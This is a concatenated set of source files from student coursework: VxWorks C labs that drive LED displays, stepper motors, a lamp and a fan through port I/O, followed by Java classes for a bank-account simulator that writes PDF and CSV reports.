fan_PID;<file_sep>/lab3/lab-3/lamp.h #ifndef __lamph #define __lamph lamp_mode_t lamp_mode; //"private" member of the lamp mode void lamp(); #endif <file_sep>/lab2/lab-2/common.h #ifndef __commonh #define __commonh int checkTrigger(); #endif <file_sep>/lab3/skeleton/fan.c #include "common.h" void fan() { }<file_sep>/lab2/lab2_sp2/lab2/lab3.c #include <stdio.h> #include <math.h> #include <vxWorks.h> #include "vxWorks.h" #include "tickLib.h" #include "sysLib.h" #include "delayLib.h" #include "semLib.h" #define red 0x180 #define green 0x181 #define blue 0x182 int runz = 1; /* Intensity values in range 0 - 255 for each component of the 16x8 pixels */ extern int pixels[16][8][3]; void drawIt(int offset,int flip) { int x,y,r,g,b; char *data; /* This is a secret image, can you figure out what it is? */ static char *icon = "``````````_(``]!``]<``_(``````````````]@``]!``]!``]!QM)!J+1!````" "``_(``]!!!!!``]!``]!``]!QM)!W>F_``]<``]!``]!``]!``]!``]!QM)!J+1!" "``]<``]!``]!``]!!!!!``]!QM)!J+1!``_(!!!!!!!!!!!!``]!``]!QM)!W>F_" "``````]@``]!``]!``]!QM)!J+1!``````````````_(QM)!R=5\"W>F_````````" ""; /* Normally there would be comments here, but that would spoil the surprise */ for(x=0;x<16;x++) for(y=0;y<8;y++) if(y > 5) { pixels[x][y][0] = 64; pixels[x][y][1] = 64; pixels[x][y][2] = 255; } else { pixels[x][y][0] = 0; pixels[x][y][1] = 255; pixels[x][y][2] = 0; } for(x=0;x<8;x++) for(y=0;y<8;y++) { data = icon + ((flip?(7-x):x) + (7-y)*8)*4; r = (((data[0] - 33) << 2) | ((data[1] - 33) >> 4)); g = ((((data[1] - 33) & 0xF) << 4) | ((data[2] - 33) >> 2)); b = ((((data[2] - 33) & 0x3) << 6) | ((data[3] - 33))); if(r<200 || g<200 || b<200) { pixels[x+offset][y][0] = r; pixels[x+offset][y][1] = g; pixels[x+offset][y][2] = b; } } } void drawThread() { int pos=0,dir=1; while (runz==1) { /* Add a delay here so that this function is only run twice per second */ sysClkRateSet(100); taskDelay(50); pos = pos + dir; drawIt(pos,dir==1?1:0); if(pos>=7) dir=-1; else if(pos<=0) dir=1; } } void startdraw() { sysOutByte(0x180,~0); sysOutByte(0x181,~0); sysOutByte(0x182,~0); runz=1; taskSpawn("draw", 100, 0, 4000, drawThread); } void stopdraw() { runz = 0; } <file_sep>/lab3/lab-3/testMotor.c #include "common.h" int testMotor1PID; int testMotor2PID; void testMotor1() { sysClkRateSet(1000); for(;;) { int delay = sysClkRateGet()*200/1000; //M2_INHIB: motor2 turned off //M1_STEP: one step of motor 1 //M1_DIR: counterclockwise (in case of 0 --> clockwise) sysOutByte(0x181,M2_INHIB|M1_STEP|M1_DIR); taskDelay(5); sysOutByte(0x181,M2_INHIB|M1_DIR); taskDelay(delay-5); sysOutByte(0x181,M2_INHIB|M1_STEP|M1_HFM|M1_DIR); taskDelay(5); sysOutByte(0x181,M2_INHIB|M1_DIR); taskDelay(delay-5); } } void testMotor2() { sysClkRateSet(1000); for(;;) { int delay = sysClkRateGet()*200/1000; //M2_INHIB: motor2 turned off //M1_STEP: one step of motor 1 //M1_DIR: counterclockwise (in case of 0 --> clockwise) sysOutByte(0x181,M1_INHIB|M2_STEP|M2_DIR); taskDelay(delay); sysOutByte(0x181,M1_INHIB|M2_DIR); taskDelay(delay); sysOutByte(0x181,M1_INHIB|M2_STEP|M2_HFM|M2_DIR); taskDelay(delay); sysOutByte(0x181,M1_INHIB|M2_DIR); taskDelay(delay); } } void start_test_motor1() { testMotor1PID = taskSpawn("testMotor1", 200, 0, 1000, testMotor1); } void start_test_motor2() { testMotor2PID = taskSpawn("testMotor2", 200, 0, 1000, testMotor2); } void stop_test_motor1() { taskDelete(testMotor1PID); sysOutByte(0x181,M1_INHIB|M2_INHIB); } void stop_test_motor2() { taskDelete(testMotor2PID); sysOutByte(0x181,M1_INHIB|M2_INHIB); } <file_sep>/lab3/lab-3/motor2.h #ifndef __motor2h #define __motor2h void motor2(); void rotateMotor2(int n_rotations); motor_direction_t motor2_direction; motor_speed_t motor2_speed; int counter_motor2_steps; //48 full-steps per rotation int motor2_waiting; //boolean value #endif <file_sep>/lab3/skeleton/lamp.h #ifndef __lamph #define __lamph void lamp(); #endif<file_sep>/lab2/lab-2/exercise6.c #include <stdio.h> #include "delayLib.h" #include "vxWorks.h" #include "common.h" #define RGB_LEVELS 8 void drawThread(); int led_screen_pid; int get_input_pid; int draw_thread_pid; int pixels[16][8][3]; //unsigned int rgb_leds[8][3]; /*void get_input() { printf("get_input\n"); unsigned int led_no; unsigned int r; unsigned int g; unsigned int b; while (1) { scanf("%d %d %d %d", &led_no, &r, &g, &b); rgb_leds[led_no][0] = r; //red rgb_leds[led_no][1] = g; //green rgb_leds[led_no][2] = b; //blue } }*/ void led_screenEx6() { int i; int j; int k; sysOutByte(0x184, 0x01); //enable writing bytes to LED card sysOutByte(0x180, 0xFF); //turns off red LEDs sysOutByte(0x181, 0xFF); //turns off green LEDs sysOutByte(0x182, 0xFF); //turns off blue LEDs sysOutByte(0x183, 0x01); //enable reading trigger while (1) { //int i; //int j; if (checkTrigger()) { delayMsec(1); for (i = 0; i< 16; i++) { unsigned int rgb_leds_temp[8][3]; //default behaviour: all the LEDs turned off char r_led = 0xFF; char g_led = 0xFF; char b_led = 0xFF; for (j = 0; j < 8; j++) { for (k = 0; k<3; k++) { rgb_leds_temp[j][k] = pixels[15-i][8-j][k] >> (int)log2(256/RGB_LEVELS); } } for (j = 0; j < 8; j++) { //for each RGB level (0-31, 32-64,..., 224-255) for (k = 0; k < 8; k++) { //for each row /*char r_temp = (char)(pixels[i][k][0] >> 5)-j; char g_temp = (char)(pixels[i][k][1] >> 5)-j; char b_temp = (char)(pixels[i][k][2] >> 5)-j;*/ /*//red if (r_temp <= j) { r_led &= ~(0x80 >> k); } //green if (g_temp <= j) { g_led &= ~(0x80 >> k); } //blue if (b_temp <= j) { b_led &= ~(0x80 >> k); }*/ //red if (rgb_leds_temp[k][0]>0) { r_led &= ~(0x80 >> k); rgb_leds_temp[k][0]--; } //green if (rgb_leds_temp[k][1]>0) { g_led &= ~(0x80 >> k); rgb_leds_temp[k][1]--; } //blue if (rgb_leds_temp[k][2]>0) { b_led &= ~(0x80 >> k); rgb_leds_temp[k][2]--; } } sysOutByte(0x180, r_led); sysOutByte(0x181, g_led); sysOutByte(0x182, b_led); delayUsec(128/RGB_LEVELS); //delay for 128us/number of levels } } sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); } } } void startEx6() { sysClkRateSet(1000); draw_thread_pid = taskSpawn("draw_thread", 200, 0, 1000, drawThread); led_screen_pid = taskSpawn("led_screen", 201, 0, 1000, led_screenEx6); //get_input_pid = taskSpawn("get_input", 200, 0, 1000, get_input); /*printf("get_input\n"); unsigned int led_no; unsigned int r; unsigned int g; unsigned int b; while (1) { scanf("%d %d %d %d", &led_no, &r, &g, &b); rgb_leds[led_no][0] = r; //red rgb_leds[led_no][1] = g; //green rgb_leds[led_no][2] = b; //blue }*/ } void stopEx6() { taskDelete(led_screen_pid); //taskDelete(get_input_pid); taskDelete(draw_thread_pid); int i; int j; int k; for(i = 0; i < 16; i++) { for (j = 0; j < 8; j++) { for (k = 0; k < 3; k++) { pixels[i][j][k] = 0; } } } sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); } <file_sep>/lab3/lab-3/delayLib.h /* delayLib.h - self-calibrating hard delay routines header file */ /* modification history -------------------- 27Mar96,espin written. $Id: delayLib.h,v 1.2 1999/10/25 18:22:05 borkhuis Exp $ */ #ifndef __INCdelayLibh #define __INCdelayLibh #if defined(__STDC__) || defined(__cplusplus) extern void delayUsec (unsigned int u); extern void delayMsec (unsigned int m); #else extern void delayUsec (); extern void delayMsec (); #endif /* __STDC__ || __cplusplus */ #endif /* __INCdelayLibh */ <file_sep>/lab3/lab-3/motor2.c #include "common.h" #include "fan.h" #include "lamp.h" #include "motor2.h" #include "motor1.h" void motor2() { motor2_waiting = 0; motor2_direction = CLOCKWISE; motor2_speed = LOW_SPEED; char msg[2]; while(1) { msgQReceive(m2MsgQId, msg, 2, WAIT_FOREVER); if (strcmp(msg, "4")==0) { //"Rotate tool 2 one full rotation." rotateMotor2(FULL_ROTATION_STEPS); } else if (strcmp(msg, "5")==0) { //"Rotate tool 2 one half rotation." rotateMotor2(HALF_ROTATION_STEPS); } else if (strcmp(msg, "6")==0) { //"Change direction of rotations for tool 2." motor2_direction = (motor2_direction==CLOCKWISE) ? COUNTERCLOCKWISE : CLOCKWISE; } else if (strcmp(msg, "b")==0) { //"Change the speed of rotations for tool 2." motor2_speed = (motor2_speed==LOW_SPEED) ? HIGH_SPEED : LOW_SPEED; } taskDelay(10); } } void rotateMotor2(int n_rotations) { //one tick interval correspond to the time interval dedicated for one step //HIGH_SPEED: 60 steps per second --> 1000/60 ms //LOW_SPEED: 10 steps per second --> 1000/10 ms int tickMs = 1000/sysClkRateGet(); int ticks_interval = (motor2_speed==HIGH_SPEED) ? sysClkRateGet()/60 : sysClkRateGet()/10; //int ticks_interval = (motor2_speed==HIGH_SPEED) ? sysClkRateGet()/(60*tickMs) : sysClkRateGet()/(10*tickMs); //TO TEST //Set the direction flag depending from the motor2_direction value // M1_DIR high --> COUNTERCLOCKWISE // M1_DIR low --> CLOCKWISE char dir = (motor2_direction==COUNTERCLOCKWISE) ? M2_DIR : 0x00; motor2_waiting = 1; semTake(semMotors, WAIT_FOREVER); //"Under no circumstance are the machines allowed to run at the same time" changeLampMode(MACHINE_WORKING); //"When the machines are working, the lamp should blink with 3 on/off flashes every second." changeFanMode(FAN_ONE_HUNDRED_PERCENT); //"When the machines are operating, the fan should be working at 100%" counter_motor2_steps = n_rotations; //decremental conting. In this way, for stopping the motors at the next safe position, //it is enough to decrement (elsewhere) the counter while (counter_motor2_steps > 0) { semTake(semCounterMotor2, WAIT_FOREVER); //take the semaphore, in this way nothing else can access to the counter //negative edge, for stepping the motor 2. sysOutByte(0x181,M2_STEP|M2_HFM|dir); taskDelay(5); //5 ms of delay sysOutByte(0x181,dir); taskDelay(ticks_interval-5); //delay for respecting the stepping speed (less of the previous 5 ms delay) counter_motor2_steps--; //decrement the counter semGive(semCounterMotor2); } /*for (counter_motor2_steps=0; counter_motor2_steps<n_rotations; counter_motor2_steps++) { sysOutByte(0x181,M2_STEP|M2_HFM|dir); taskDelay(5); sysOutByte(0x181,dir); taskDelay(ticks_interval-5); }*/ sysOutByte(0x181, 0x00); if (motor1_waiting) { //"...This margin should not be applied when starting a second job on the same motor" taskDelay(1000); //"there must always be a safety margin of 1s from one machine stopping before the next can start ..." } changeLampMode(MACHINE_NOT_WORKING); //"When the machines are not, the lamp should smoothly go from zero intensity to full intensity, and then smoothly back to zero" changeFanMode(FAN_FIFTY_PERCENT); //"...otherwise the fan should be working at 50%" motor2_waiting = 0; semGive(semMotors); } <file_sep>/lab3/lab-3/common.h #ifndef __commonh #define __commonh #define FAN_FLAG 0x40 #define LAMP_FLAG 0x80 #include "semLib.h" #include "msgQLib.h" #include "machine-utils.h" typedef enum { CONFIG, //configuration mode RUN, //running mode ERR //error mode } running_mode_t; running_mode_t running_mode; //the running mode in an exact instant time typedef enum { LAMP_OFF, LAMP_CONFIG, //"This is done by PWM controlling the lamp going smoothly from 0% intensity to 100% intensity over 2s and then starting over abruptly from 0% again." MACHINE_WORKING, //"Then the machines are working, the lamp should blink with 3 on/off flashes every second." MACHINE_NOT_WORKING, //"When the machines are not, the lamp should smoothly go from zero intensity to full intensity, and then smoothly back to zero. Each such cycle should take 4s." LAMP_ERR //"The warning lamp signals error mode by turning on for 1s and then off for 1s, repeatedly" } lamp_mode_t; typedef enum { FAN_OFF, FAN_ONE_HUNDRED_PERCENT, //"When the machines are operating, the fan should be working at 100%, ..." FAN_FIFTY_PERCENT //"...otherwise the fan should be working at 50%" } fan_mode_t; /* lamp and fan states */ int lamp_state; //0 = off; 1 = on; int fan_state; //0 = off; 1 = on; /* motor state types */ typedef enum { CLOCKWISE, COUNTERCLOCKWISE } motor_direction_t; typedef enum { HIGH_SPEED, //60 steps per second LOW_SPEED //10 steps per second } motor_speed_t; #define FULL_ROTATION_STEPS 48 #define HALF_ROTATION_STEPS 24 #define QUARTER_ROTATION_STEPS 12 /* message queues */ MSG_Q_ID m1MsgQId; //message queue used by motor1 task MSG_Q_ID m2MsgQId; //message queue used by motor2 task /* semaphores */ SEM_ID semMotors; //binary semaphore about the usage of motors (0 if one motor is busy/working, 1 if all of them free/not working) SEM_ID semCounterMotor1; //semaphore dedicated to the counter of the first motor SEM_ID semCounterMotor2; //semaphore dedicated to the counter of the second motor /* tasks */ int motor1_PID; int motor2_PID; int lamp_PID; int fan_PID; int lab3_PID; #endif <file_sep>/lab2/lab2_sp1/labb2/task3.c #include "delayLib.h" #include "semLib.h" void drawThread(); int t3id, animid; extern SEM_ID semId; int pixels[16][8][3]; void task3() { int i, j, k; //used in for-loops sysOutByte(0x183, 0xFF); //turn on input for reflex detector while(1) { char reflexDetector = 0; //wait for reflex detector while((reflexDetector & 0x01) == 0) { reflexDetector = sysInByte(0x183); } delayUsec(500); for(i = 0; i < 16; i++) { for(j = 0; j < 8; j++) { unsigned char red = 0xFF; //out red unsigned char green = 0xFF; //out green unsigned char blue = 0xFF; //out blue unsigned char temp; //set bits for(k = 0; k < 8; k++) { red >>= 1; green >>= 1; blue >>= 1; //read pixels and set red semTake(semId, WAIT_FOREVER); temp = pixels[i][k][0]; semGive(semId); temp >>= 5; if(temp <= j) { red = red | 0x80; } //read pixels and set green semTake(semId, WAIT_FOREVER); temp = pixels[i][k][1]; semGive(semId); temp >>= 5; if(temp == 0) { green = green | 0x80; } //read pixels and set blue semTake(semId, WAIT_FOREVER); temp = pixels[i][k][2]; semGive(semId); temp >>= 5; if(temp == 0) { blue = blue | 0x80; } } //light leds sysOutByte(0x180, red); sysOutByte(0x181, green); sysOutByte(0x182, blue); delayUsec(25); } } //turn off leds sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); //sleep taskDelay(50); } } void task3Start() { int i; semId = semBCreate(0, SEM_FULL); sysClkRateSet(1000); sysOutByte(0x184, 1); for(i = 0; i < 16; i++) { pixels[i][0][0] = 15*i; } for(i = 1; i < 8; i++) { pixels[0][i][1] = 255; } pixels[1][1][2] = 255; pixels[3][2][2] = 255; pixels[5][3][2] = 255; pixels[7][4][2] = 255; pixels[9][5][2] = 40; pixels[11][6][2] = 40; pixels[11][7][2] = 255; pixels[12][7][2] = 100; pixels[13][7][2] = 40; t3id = taskSpawn("task3", 100, 0, 4000, task3); } void s3() { taskDelete(t3id); sysOutByte(0x180, 0xff); sysOutByte(0x181, 0xff); sysOutByte(0x182, 0xff); } void animStart() { sysClkRateSet(1000); sysOutByte(0x184, 1); semId = semBCreate(0, SEM_FULL); animid = taskSpawn("anim", 100, 0, 4000, drawThread); t3id = taskSpawn("task3", 101, 0, 4000, task3); } <file_sep>/lab3/skeleton/lamp.c #include "common.h" void lamp() { }<file_sep>/lab3/lab-3/fan.h #ifndef __fanh #define __fanh fan_mode_t fan_mode; //"private" member of the fan mode void fan(); #endif <file_sep>/lab2/lab-2/exercise3.c #include <stdio.h> #include "delayLib.h" #include "vxWorks.h" #include "common.h" int led_screen_pid; int get_input_pid; //unsigned int rgb_leds[8][3]; /*void get_input() { printf("get_input\n"); unsigned int led_no; unsigned int r; unsigned int g; unsigned int b; while (1) { scanf("%d %d %d %d", &led_no, &r, &g, &b); rgb_leds[led_no][0] = r; //red rgb_leds[led_no][1] = g; //green rgb_leds[led_no][2] = b; //blue } }*/ void led_screenEx3() { unsigned int rgb_leds[8][3] = { {255, 255, 255}, {192, 192, 192}, {128, 128, 128}, {64, 64, 64}, {0, 0, 0}, {0, 255, 0}, {0, 128, 128}, {0, 0, 255} }; int i; int j; /*for (i = 0; i < 8; i++) { for (j = 0; j<3; j++) { rgb_leds[i][j] = 0; } }*/ sysOutByte(0x184, 0x01); //enable writing bytes to LED card sysOutByte(0x180, 0xFF); //turns off red LEDs sysOutByte(0x181, 0xFF); //turns off green LEDs sysOutByte(0x182, 0xFF); //turns off blue LEDs sysOutByte(0x183, 0x01); //enable reading trigger while (1) { //int i; //int j; if (checkTrigger()) { //if a pulse if detected from the reflex detector delayMsec(1); unsigned int rgb_leds_temp[8][3]; for (i = 0; i < 8; i++) { for (j = 0; j<3; j++) { rgb_leds_temp[i][j] = rgb_leds[i][j]; } } for (i = 0; i < 256; i++) { //for each time step (so until the 256th one) //default behaviour: all the LEDs turned off char r_led = 0xFF; char g_led = 0xFF; char b_led = 0xFF; for (j = 0; j<8; j++) { //for each LED //red if (rgb_leds_temp[j][0]>0) { //if the RED value is still "on" //shift the first ONE bit to the right to j positions, i.e. is selecting the j-th LED //then the j-th bit of r_led byte is turned on (i.e. is set to ZERO) r_led &= ~(0x80 >> j); rgb_leds_temp[j][0]--; //decrement the RED value } //green if (rgb_leds_temp[j][1]>0) { //if the GREEN value is still "on" //shift the first ONE bit to the right to j positions, i.e. is selecting the j-th LED //then the j-th bit of r_led byte is turned on (i.e. is set to ZERO) g_led &= ~(0x80 >> j); rgb_leds_temp[j][1]--; //decrement the GREEN value } //blue if (rgb_leds_temp[j][2]>0) { //if the BLUE value is still "on" //shift the first ONE bit to the right to j positions, i.e. is selecting the j-th LED //then the j-th bit of r_led byte is turned on (i.e. is set to ZERO) b_led &= ~(0x80 >> j); rgb_leds_temp[j][2]--; //decrement the BLUE value } } //write to the LED card /*sysOutByte(0x180, r_led); sysOutByte(0x181, g_led); sysOutByte(0x182, b_led);*/ sysOutByte(0x180, 0x00); //red test //delayMsec(10); } delayMsec(2); //turning off LEDs sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); } } } void startEx3() { sysClkRateSet(1000); led_screen_pid = taskSpawn("led_screen", 200, 0, 1000, led_screenEx3); //get_input_pid = taskSpawn("get_input", 200, 0, 1000, get_input); /*printf("get_input\n"); unsigned int led_no; unsigned int r; unsigned int g; unsigned int b; while (1) { scanf("%d %d %d %d", &led_no, &r, &g, &b); rgb_leds[led_no][0] = r; //red rgb_leds[led_no][1] = g; //green rgb_leds[led_no][2] = b; //blue }*/ } void stopEx3() { taskDelete(led_screen_pid); //taskDelete(get_input_pid); sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); } <file_sep>/lab3/lab-3/lamp.c #include "common.h" #include "lamp.h" int lamp_counter = 0; int lamp_intensity = 0; void shineLamp(unsigned int period_usec, unsigned int lightIntensity) { unsigned int shinePeriod; /* * if the percent is greater than 100% --> set the shine period to 100% * (for avoid strange interval overflows) */ shinePeriod = (lightIntensity < 100) ? period_usec/100*lightIntensity : period_usec; sysOutByte(0x182, (fan_state) ? FAN_FLAG|LAMP_FLAG : LAMP_FLAG); //turn on the lamp lamp_state = 1; delayUsec(shinePeriod); /* delay for the shinePeriod */ sysOutByte(0x182, (fan_state) ? FAN_FLAG : 0x00); //turn off the lamp lamp_state = 0; delayUsec(period_usec - shinePeriod); /* delay for the remaining time */ } void changeLampMode(lamp_mode_t mode) { lamp_counter = 0; lamp_intensity = 0; lamp_mode = mode; } void lamp() { while (1) { switch (lamp_mode) { case LAMP_OFF: if (lamp_state) { //turn off the lamp only if it is still on lamp_state = 0; sysOutByte(0x182, (fan_state) ? FAN_FLAG : 0x00); } taskDelay(10); break; case LAMP_CONFIG: //saw-teeth PWM shineLamp(20000, lamp_intensity); //shine interval for 20ms (2 seconds / 100) lamp_counter++; lamp_intensity = (lamp_counter)%100; taskDelay(1); break; case MACHINE_WORKING: sysOutByte(0x182, (fan_state) ? FAN_FLAG|LAMP_FLAG : LAMP_FLAG); //turn on the lamp lamp_state = 1; //delayMsec(166); taskDelay(166); sysOutByte(0x182, (fan_state) ? FAN_FLAG : 0x00); //turn off the lamp lamp_state = 0; //delayMsec(166); taskDelay(166); break; case MACHINE_NOT_WORKING: //triangle PWM shineLamp(20000, lamp_intensity); //shine interval for 20ms (2 seconds / 100) lamp_counter++; lamp_intensity = (lamp_counter)%200; if (lamp_intensity>100) { //if the peak has been reached lamp_intensity = 200 - lamp_intensity; //descending PWM } taskDelay(1); break; case LAMP_ERR: sysOutByte(0x182, (fan_state) ? FAN_FLAG|LAMP_FLAG : LAMP_FLAG); //turn on the lamp lamp_state = 1; //delayMsec(1000); taskDelay(1000); //delay for one second sysOutByte(0x182, (fan_state) ? FAN_FLAG : 0x00); //turn off the lamp lamp_state = 0; //delayMsec(1000); taskDelay(1000); //delay for one more second break; } } } //START TEST FUNCTION void start_test_lamp() { sysClkRateSet(1000); kernelTimeSlice(10); lamp_mode = 0; sysOutByte(0x184, 0xFF); lamp_PID = taskSpawn("lamp", 200, 0, 1000, lamp); } //STOP TEST FUNCTION void stop_test_lamp() { taskDelete(lamp_PID); } <file_sep>/lab2/lab2_sp1/labb2/delayLib.c /* delayLib.c - self-calibrating hard delay routines */ /* modification history -------------------- 27Mar96,espin written. $Id: delayLib.c,v 1.2 1999/10/25 18:22:05 borkhuis Exp $ */ /* DESCRIPTION This module provides "hard" [<]delay[>] routines for micro and millisecond periods. EXAMPLE .CS -> delayMsec (1); /@ very first call used for calibration @/ -> timexN delayMsec, 10 timex: 75 reps, time per rep = 9555 +/- 222 (2%) microsecs value = 59 = 0x3b = ';' -> .CE The routines sysClkRateGet() and tickGet() are used to calibrate the timing loop the first time either routine is called. Therefore, the first call is much longer than requested. If the system clock rate is changed, a new calibration must be explicitly made by passing a negative [<]delay[>] duration. INTERNAL A one-shot timer could provide high resolution sub-clock tick delay... but then this would be board dependent. */ #include "vxWorks.h" #include "tickLib.h" #include "sysLib.h" #define DEBUG FALSE void delayUsec (unsigned int u); void delayMsec (unsigned int m); /******************************************************************************* * * delayUsec - hard [<]delay[>] for <u> microseconds * * Parameters : int u = nr of microsecs to wait before returning. * * RETURNS: N/A */ #if DEBUG int delayLoop = 0; #endif /* DEBUG */ void delayUsec ( unsigned int u ) { #if !DEBUG static int delayLoop = 0; #endif /* !DEBUG */ int ix; int iy; if (delayLoop == 0 || u == 0xffffffff) /* need calibration? */ { int maxLoop; int start = 0; int stop = 0; int mpt = (1000 * 1000) / sysClkRateGet (); /* microsecs per tick */ for (delayLoop = 1; delayLoop < 0x1000 && stop == start; delayLoop<<=1) { /* wait for clock turn over */ for (stop = start = tickGet (); start == stop; start = tickGet ()); delayUsec (mpt); /* single recursion */ stop = tickGet (); } maxLoop = delayLoop / 2; /* loop above overshoots */ #if DEBUG printf ("maxLoop = %d\n", maxLoop); #endif /* DEBUG */ start = 0; stop = 0; if (delayLoop < 4) delayLoop = 4; for (delayLoop /= 4; delayLoop<maxLoop && stop == start; delayLoop++) { /* wait for clock turn over */ for (stop = start = tickGet (); start == stop; start = tickGet ()); delayUsec (mpt); /* single recursion */ stop = tickGet (); } #if DEBUG printf ("delayLoop = %d\n", delayLoop); #endif /* DEBUG */ } for (iy = 0; iy < u; iy++) { for (ix = 0; ix < delayLoop; ix++); } } /******************************************************************************* * * delayMsec - hard [<]delay[>] for <m> milliseconds * * Parameters : int m = nr of millisecs to wait before returning. * * RETURNS: N/A */ void delayMsec ( unsigned int m) { delayUsec (m * 1000); } <file_sep>/lab1/lab-1b/slow.c #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <sys/time.h> #include <time.h> int main() { int i,j,cycles; cycles=0; while(1) { for(i=0,j=0;i<150000;i++) { j += i; } if((++cycles) % 100 == 0) printf("Tick\n"); usleep(10000); } }
8a08c1c06e730e77918be2d26a73cab20abc6432
[ "C", "Makefile" ]
40
C
MaidenBeast/rtp_labs
42f76effc8947c9b7f0ed456334dd6fa4e0f4466
0a3f12625695525c1118669ecaaaf21daea1855f
refs/heads/master
<repo_name>buucooe/SimuladorBanco<file_sep>/src/html_pdf/PDF.java package html_pdf; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.net.MalformedURLException; import java.util.ArrayList; import java.util.Date; import com.itextpdf.text.Anchor; import com.itextpdf.text.BadElementException; import com.itextpdf.text.BaseColor; import com.itextpdf.text.Chapter; import com.itextpdf.text.Document; import com.itextpdf.text.DocumentException; import com.itextpdf.text.Element; import com.itextpdf.text.Font; import com.itextpdf.text.FontFactory; import com.itextpdf.text.Image; import com.itextpdf.text.List; import com.itextpdf.text.ListItem; import com.itextpdf.text.Paragraph; import com.itextpdf.text.Phrase; import com.itextpdf.text.Section; import com.itextpdf.text.pdf.PdfPCell; import com.itextpdf.text.pdf.PdfPTable; import com.itextpdf.text.pdf.PdfWriter; import cuenta_persona_banco.Cuenta; public class PDF extends Reporte { Document documento = new Document(); FileOutputStream archivo; public PDF(Cuenta cuenta) { super(cuenta); } public PDF(String fechaInicio,String fechaFin,Cuenta cuenta) { super(fechaInicio,fechaFin,cuenta); } protected void escribirHeader() throws DocumentException { try { archivo = new FileOutputStream("C:\\Banco\\Reporte-"+cuenta.getNumeroCuenta()+".pdf"); PdfWriter.getInstance(documento, archivo); documento.open(); Image image1=null; try { image1 = Image.getInstance("C:\\Banco\\logo.PNG"); } catch (MalformedURLException e) { } catch (IOException e) { System.out.println("Algo malo pasó :|"); } documento.add(image1); } catch (FileNotFoundException e) { System.out.println("Algo malo pasó :|"); } } protected void escribirBody() { try { PdfPTable table = new PdfPTable(5); PdfPCell cell1 = new PdfPCell(new Paragraph("Usuario")); PdfPCell cell2 = new PdfPCell(new Paragraph("Actividad")); PdfPCell cell3 = new PdfPCell(new Paragraph("Cantidad")); PdfPCell cell41 = new PdfPCell(new Paragraph("Número Cuenta")); PdfPCell cell42 = new PdfPCell(new Paragraph("Fecha Operación")); cell1.setHorizontalAlignment(Element.ALIGN_CENTER); cell2.setHorizontalAlignment(Element.ALIGN_CENTER); cell3.setHorizontalAlignment(Element.ALIGN_CENTER); cell41.setHorizontalAlignment(Element.ALIGN_CENTER); cell42.setHorizontalAlignment(Element.ALIGN_CENTER); table.addCell(cell1); table.addCell(cell2); table.addCell(cell3); table.addCell(cell41); table.addCell(cell42); for(String x: cuenta.operaciones)//cuenta.operaciones) { String[] datos = x.split(","); PdfPCell cell5 = new PdfPCell(new Paragraph(datos[0])); PdfPCell cell6 = new PdfPCell(new Paragraph(datos[1])); PdfPCell cell7 = new PdfPCell(new Paragraph(datos[2])); PdfPCell cell8 = new PdfPCell(new Paragraph(datos[3])); PdfPCell cell9 = new PdfPCell(new Paragraph(datos[4])); if(delimitar) { String[] datosFecha = datos[4].split("/"); int dia = Integer.parseInt(datosFecha[2]); int mes = Integer.parseInt(datosFecha[1]); int año = Integer.parseInt(datosFecha[0]); String[] datosFechaInicial = fechaInicio.split("/"); int diaInicial = Integer.parseInt(datosFechaInicial[2]); int mesInicial = Integer.parseInt(datosFechaInicial[1]); int añoInicial = Integer.parseInt(datosFechaInicial[0]); String[] datosFechaFinal = fechaFin.split("/"); int diaFinal = Integer.parseInt(datosFechaFinal[2]); int mesFinal = Integer.parseInt(datosFechaFinal[1]); int añoFinal = Integer.parseInt(datosFechaFinal[0]); if(dia>=diaInicial && dia<=diaFinal && mes >= mesInicial && mes<=mesFinal && año>=añoInicial && año<=añoFinal) { table.addCell(cell5); table.addCell(cell6); table.addCell(cell7); table.addCell(cell8); table.addCell(cell9); } } else { table.addCell(cell5); table.addCell(cell6); table.addCell(cell7); table.addCell(cell8); table.addCell(cell9); } } documento.add(table); } catch (Exception e) { System.out.println("Algo malo pasó :|"); } } protected void escribirFooter() { try { documento.close(); } catch (Exception e) { System.out.println("Algo malo pasó :|"); } } } <file_sep>/src/cuenta_persona_banco/Debito.java package cuenta_persona_banco; public class Debito extends Cuenta { double montoMinimo = 5000; public Debito() { this.tipoCuenta = "deb"; System.out.println("Debito Creado"); } protected boolean checarMontoMinimo() { if(this.getSaldo() < montoMinimo) { System.out.println("El saldo en la cuenta es menor al minimo"); return false; } return true; } public void setMontoMinimo(int montoMinimo) { this.montoMinimo = montoMinimo; } public double getMontoMinimo() { return montoMinimo; } } <file_sep>/src/cuenta_persona_banco/Empleado.java package cuenta_persona_banco; public class Empleado extends Ejecutivo implements Aprobador { private Aprobador siguiente; @Override public void aprobar(Cuenta cuenta) { if((cuenta.getTipoCuenta() == "deb") || (cuenta.getTipoCuenta() == "che")) { //System.out.println(cuenta.getTipoCuenta()); System.out.println("la trato yo, el empleado"); } else { siguiente.aprobar(cuenta); } } @Override public void setNext(Aprobador aprobador) { this.siguiente = aprobador; } @Override public Aprobador getNext() { return this.siguiente; } } <file_sep>/src/archivo/ArchivoBanco.java package archivo; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.List; import cuenta_persona_banco.Cuenta; public class ArchivoBanco extends ManejoArchivo { @Override public void escribirArchivo(Cuenta cuenta)//listo { List<String> op = cuenta.operaciones; try { String data = op.get(op.size()-1); File file =new File(path+"\\banco_log.csv"); if(!file.exists()) { file.createNewFile(); } FileWriter fileWritter = new FileWriter(file.getName(),true); BufferedWriter bufferWritter = new BufferedWriter(fileWritter); bufferWritter.write(data); bufferWritter.close(); } catch(IOException e) { e.printStackTrace(); } } @Override public Cuenta leerArchivo(Cuenta cuenta)//listo { Path readme = Paths.get(path+"\\banco_log.csv"); List<String> lines; try { lines = Files.readAllLines(readme, StandardCharsets.UTF_8); cuenta.operaciones=lines; } catch (IOException e) { e.printStackTrace(); } return cuenta; } } <file_sep>/src/cuenta_persona_banco/Gerente.java package cuenta_persona_banco; import 